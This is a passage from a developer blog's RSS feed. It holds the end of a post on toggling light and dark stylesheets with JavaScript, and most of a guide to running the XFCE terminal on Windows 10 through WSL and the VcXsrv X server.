&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;link &lt;&#x2F;span&gt;&lt;span style=&quot;color:#66a9ec;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-dark&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;disabled rel&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;stylesheet&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;href&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;site_dark.css&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script &lt;&#x2F;span&gt;&lt;span style=&quot;color:#97d8ea;&quot;&gt;src&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;theme.js&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&amp;lt;!-- snip ---&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And your &lt;code&gt;theme.js&lt;&#x2F;code&gt; file will look like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; File: theme.js
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;**
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * Set and apply the normal or toggled theme.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;@param &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;toggled&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; Truthy value to show toggled, normal otherwise.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;toggled&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;) &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-light&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).disabled &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;toggled&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-dark&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).disabled &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= !&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;toggled&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;setItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;theme-toggled&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;toggled &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;? &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;**
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; * Toggle the current theme.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt; *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;function &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_toggle&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;() &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;style-light&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).disabled);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; Apply selected theme, stored in localStorage item
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;theme_set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;localStorage&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;getItem&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;theme-toggled&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Along with your custom &lt;code&gt;site_{light,dark}.css&lt;&#x2F;code&gt; sheets, this is all you need.&lt;&#x2F;p&gt;
&lt;p&gt;As always: &lt;em&gt;Hope this helps!&lt;&#x2F;em&gt; &lt;sub&gt;  :wq&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
</description>
            </item>
        
            <item>
                <title>Fix Windows 10 terminals, use a Linux terminal</title>
                <pubDate>Mon, 08 Jul 2019 00:00:00 +0000</pubDate>
                <link>https://timvisee.com/blog/fix-windows-terminals-use-linux-terminal/</link>
                <guid>https://timvisee.com/blog/fix-windows-terminals-use-linux-terminal/</guid>
                <description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;I feel handicapped in Windows terminals, here is why, and how I fixed it.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;
    &lt;a href=&quot;&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;overview.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;18853f2cc752ae0000.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;As a seasoned developer, I &lt;em&gt;live&lt;&#x2F;em&gt; in the terminal on Linux machines.
Using a custom shell, &lt;code&gt;vim&lt;&#x2F;code&gt; as text&#x2F;code editor, &lt;code&gt;git&lt;&#x2F;code&gt; through its CLI,
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;dotfiles&quot;&gt;&lt;code&gt;dotfiles&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; to sync settings across devices.
Everything is customized to my likings and styled with a nice color scheme.
All of it in a dark, text-based window on my screen.&lt;&#x2F;p&gt;
&lt;p&gt;Once you get used to your command-line tools, it&#x27;s a serious joy to
work with. It&#x27;s a way to interface with your machine in a super-efficient and
expressive manner. As you can probably imagine, it can be pretty frustrating
when you don&#x27;t have access to the tools you know and love.&lt;&#x2F;p&gt;
&lt;p&gt;I sometimes use a Windows machine, for work or for building Windows-supported
software. Sadly, I feel pretty handicapped on this operating system, to be
frank. I can&#x27;t get comfortable (and I&#x27;m super OCD for that matter).
The overall experience always appears to be subpar to what I&#x27;m used to.&lt;&#x2F;p&gt;
&lt;span id=&quot;continue-reading&quot;&gt;&lt;&#x2F;span&gt;
&lt;p&gt;Through some testing, I&#x27;ve located this to be a problem with the terminals on
Windows. Though before the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Windows_Subsystem_for_Linux&quot;&gt;WSL&lt;&#x2F;a&gt; era, running Linux tooling on Windows was
literally unthinkable, the situation has already improved a lot. Almost every
Linux tool works somewhat out of the box. Installing and configuring your
software using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;dotfiles&quot;&gt;dotfiles&lt;&#x2F;a&gt; became a much better experience as well.
The terminals on Windows still feel mediocre, it just isn&#x27;t there yet.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;I should note that this isn&#x27;t a problem for light terminal usage in Windows
10 these days. When invoking simple commands through SSH, everything works
beautifully. This is about using heavily personalized tooling, and as you
can probably tell, I&#x27;m somewhat of a power user in this regard. Though, this
might become useful in the future.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;the-problems&quot;&gt;The problems
    &lt;a class=&quot;anchor&quot; href=&quot;#the-problems&quot; aria-label=&quot;Anchor link for: the-problems&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Throughout the past year, I&#x27;ve tried using a &lt;strong&gt;lot&lt;&#x2F;strong&gt; of different terminals
after giving up on the terminal included with &lt;code&gt;bash&lt;&#x2F;code&gt; on Windows.
Some of them include: ConEmu, hyper, Cmder, Terminus &amp;amp; PuTTY, with various
troublesome configuration attempts. I was never able to achieve the same
experience as I&#x27;ve had on Linux or macOS, have always encountered weird
shenanigans and was never really satisfied.&lt;&#x2F;p&gt;
&lt;p&gt;Personally, I can generalize the usual problems to the following:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;color schemes are problematic, and usually, look different than its Linux
counterpart&lt;&#x2F;li&gt;
&lt;li&gt;terminals on Windows appear &lt;em&gt;sloooow&lt;&#x2F;em&gt;, as a &lt;code&gt;vim&lt;&#x2F;code&gt; user you expect things to be
instant&lt;&#x2F;li&gt;
&lt;li&gt;garbled output, no proper &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;ANSI_escape_code&quot;&gt;ANSI&lt;&#x2F;a&gt; support&lt;&#x2F;li&gt;
&lt;li&gt;some bindings don&#x27;t work&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;With some more specific examples throughout the different terminals:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;weird lines between characters, random underlined text&lt;&#x2F;li&gt;
&lt;li&gt;everything looks darker than it should be&lt;&#x2F;li&gt;
&lt;li&gt;color channels are flipped&lt;&#x2F;li&gt;
&lt;li&gt;some special characters are not rendered at all&lt;&#x2F;li&gt;
&lt;li&gt;no support for &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;10039347&#x2F;1000145&quot;&gt;&lt;code&gt;xterm-256color&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; at all&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;simple-solution&quot;&gt;Simple solution
    &lt;a class=&quot;anchor&quot; href=&quot;#simple-solution&quot; aria-label=&quot;Anchor link for: simple-solution&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;The solution to these problems honestly was quite simple, much more so than I
initially thought:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Just run a Linux terminal you&#x27;re familiar with, on Windows.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Yes, seriously. Why not use a Linux terminal, if you can&#x27;t get Windows
terminals to behave? Because this is Windows, not Linux? Nope!&lt;&#x2F;p&gt;
&lt;p&gt;Some effort is required to get this up and running, which is what I&#x27;ll guide you
through in the following section. Don&#x27;t worry, this won&#x27;t be hard and
shouldn&#x27;t take more than 15 minutes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux-terminal-on-windows-10&quot;&gt;Linux terminal on Windows 10
    &lt;a class=&quot;anchor&quot; href=&quot;#linux-terminal-on-windows-10&quot; aria-label=&quot;Anchor link for: linux-terminal-on-windows-10&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;Before we start, make sure you&#x27;re running an up-to-date Windows 10 instance,
and you need to have administrator rights. That&#x27;s all, and you&#x27;re good to go.&lt;&#x2F;p&gt;
&lt;p&gt;We&#x27;ll be going through the following five easy steps:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#enable-wsl&quot;&gt;Enable WSL, install Ubuntu&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#install-terminal&quot;&gt;Install XFCE terminal&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#install-x&quot;&gt;Install X server&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#run-terminal&quot;&gt;Run XFCE terminal&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;timvisee.com&#x2F;blog&#x2F;fix-windows-terminals-use-linux-terminal&#x2F;#useful-shortcuts&quot;&gt;Create useful shortcuts&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;enable-wsl&quot;&gt;1. Enable WSL, install Ubuntu
    &lt;a class=&quot;anchor&quot; href=&quot;#enable-wsl&quot; aria-label=&quot;Anchor link for: enable-wsl&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Alright. The first big part is to get Linux software running on Windows in the
first place. Lucky for us, Windows has &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Windows_Subsystem_for_Linux&quot;&gt;WSL&lt;&#x2F;a&gt; these days, making this a
breeze.&lt;&#x2F;p&gt;
&lt;p&gt;To start, you must &lt;strong&gt;enable WSL&lt;&#x2F;strong&gt; on your installation. Microsoft&#x27;s own
guide perfectly describes how this is done:&lt;br &#x2F;&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;wsl&#x2F;install-win10&quot;&gt;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;wsl&#x2F;install-win10&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Once that is finished, you should &lt;strong&gt;install a Linux distribution&lt;&#x2F;strong&gt; that
provides Linux tooling we need.  We&#x27;ll be using the &lt;strong&gt;Ubuntu&lt;&#x2F;strong&gt; distribution
for this, which is most commonly used. (You may choose a different distro,
although some of the following commands will be different.) Ubuntu is
installed through the Microsoft Store, also described in
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;wsl&#x2F;install-win10#install-your-linux-distribution-of-choice&quot;&gt;this&lt;&#x2F;a&gt; guide.&lt;&#x2F;p&gt;
&lt;p&gt;WSL &amp;amp; Linux: check ☑️&lt;&#x2F;p&gt;
&lt;p&gt;Let&#x27;s continue.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;install-terminal&quot;&gt;2. Install XFCE terminal
    &lt;a class=&quot;anchor&quot; href=&quot;#install-terminal&quot; aria-label=&quot;Anchor link for: install-terminal&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Now you can pick a Linux terminal you want to use. We&#x27;ll be
using the terminal included with the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;xfce.org&#x2F;&quot;&gt;XFCE&lt;&#x2F;a&gt; desktop in this guide. It&#x27;s a
excellent versatile terminal, that is efficient, has superb color scheme
support, and has all the options you need. Choosing some different you have
experience with is fine as well, of course.&lt;&#x2F;p&gt;
&lt;p&gt;To &lt;strong&gt;install XFCE terminal&lt;&#x2F;strong&gt;, we&#x27;ll use the Ubuntu package manager. Open the start
menu, and search for &lt;code&gt;bash&lt;&#x2F;code&gt;. This should bring up a terminal window running
Linux through WSL with a &lt;code&gt;bash&lt;&#x2F;code&gt; shell. Invoke the following two commands:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sudo&lt;&#x2F;span&gt;&lt;span&gt; apt update
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sudo&lt;&#x2F;span&gt;&lt;span&gt; apt install xfce4-terminal
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;
    &lt;a href=&quot;install_xfce.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;4b831c433904153600.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;You won&#x27;t be able to use the installed terminal just yet, because Linux in WSL
has no way to draw a window on your screen at this time. We&#x27;ll fix that in the
next step.&lt;&#x2F;p&gt;
&lt;p&gt;A proper terminal: check ☑️&lt;&#x2F;p&gt;
&lt;h3 id=&quot;install-x&quot;&gt;3. Install X server
    &lt;a class=&quot;anchor&quot; href=&quot;#install-x&quot; aria-label=&quot;Anchor link for: install-x&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Graphical Linux systems commonly use the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;X_Window_System&quot;&gt;X&lt;&#x2F;a&gt; Window System (a.k.a. X11), used
to manage and draw application windows on the screen. This system is very
flexible &amp;amp; modular, which comes to good use in our case. X has various server
implementations, not just for Linux but also for Windows, acting as a system for
rendering windows.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Random fun fact: you can even draw windows over the network with X, to an
external machine.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;We need to &lt;strong&gt;install an X server&lt;&#x2F;strong&gt; on our Windows system and tell Linux in WSL
to draw application windows to it. Guess what, this is the last installation
step required for showing the terminal window!&lt;&#x2F;p&gt;
&lt;p&gt;In this guide, we&#x27;ll be using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceforge.net&#x2F;projects&#x2F;vcxsrv&#x2F;&quot;&gt;&lt;strong&gt;VcXsrv&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt;, but other implementations
should work similarly. Visit its project page, download and install it:&lt;br &#x2F;&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceforge.net&#x2F;projects&#x2F;vcxsrv&#x2F;&quot;&gt;sourceforge.net&#x2F;projects&#x2F;vcxsrv&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Ability to render the terminal window on the screen: check ☑️&lt;&#x2F;p&gt;
&lt;h3 id=&quot;run-terminal&quot;&gt;4. Run XFCE terminal
    &lt;a class=&quot;anchor&quot; href=&quot;#run-terminal&quot; aria-label=&quot;Anchor link for: run-terminal&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h3&gt;
&lt;p&gt;Now comes the fun part: actually starting and using the terminal.&lt;&#x2F;p&gt;
&lt;p&gt;You must start the X server we installed, tell applications in Linux to draw to
it, and the terminal is ready to start. Note that this is required after each login.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;start-vcxsrv&quot;&gt;Start VcXsrv
    &lt;a class=&quot;anchor&quot; href=&quot;#start-vcxsrv&quot; aria-label=&quot;Anchor link for: start-vcxsrv&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;First, &lt;strong&gt;start the VcXsrv server&lt;&#x2F;strong&gt; we have installed. An icon should have
appeared on your desktop, or you might find it through the start menu (named
&#x27;Xlaunch&#x27;). It will then ask us for some settings through a wizard:&lt;&#x2F;p&gt;
&lt;p&gt;Pick &#x27;Multiple windows&#x27; for now, you can experiment with other options later.
Leave the &#x27;Display number&#x27; value at &lt;code&gt;-1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;vcxsrv1.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;22873c0cec0983d200.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Just &#x27;Start no client&#x27; for now, which allows us to show any number of Linux
application windows. You can always start the terminal directly through here
at a later time.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;vcxsrv2.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;38d45c9534130c4f00.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;We want to sync the clipboard to make life easier.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;vcxsrv3.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;d49219cb43df2bb900.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Click &#x27;Next&#x27; one more time and start the server.&lt;&#x2F;p&gt;
&lt;p&gt;Start the X server: check ☑️&lt;&#x2F;p&gt;
&lt;h4 id=&quot;configure-x-server-address&quot;&gt;Configure X server address
    &lt;a class=&quot;anchor&quot; href=&quot;#configure-x-server-address&quot; aria-label=&quot;Anchor link for: configure-x-server-address&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h4&gt;
&lt;p&gt;After that, the X server starts and a taskbar tray icon should appear.
This is useful because it tells us the address the server is running at.
Right-clicking allows you to kill the server as well.&lt;&#x2F;p&gt;
&lt;p&gt;
    &lt;a href=&quot;toolbar_icon.png&quot; title=&quot;View full-size image&quot;&gt;
        
        
        
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;timvisee.com&amp;#x2F;processed_images&amp;#x2F;da7313e7fa240c9500.png&quot; &#x2F;&gt;
    &lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;Our X server is running at &lt;code&gt;0.0&lt;&#x2F;code&gt;, chosen by the server because we set the
display number to &lt;code&gt;-1&lt;&#x2F;code&gt;. We need the number before the &lt;code&gt;.&lt;&#x2F;code&gt;, being &lt;code&gt;0&lt;&#x2F;code&gt; in this
case, and have to &lt;strong&gt;configure this in the Linux environment&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Open a &lt;code&gt;bash&lt;&#x2F;code&gt; shell again through the Windows start menu to access the Linux
environment. And set the &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; environment variable to &lt;code&gt;:0&lt;&#x2F;code&gt;, for our X
server address:&lt;&#x2F;p&gt;
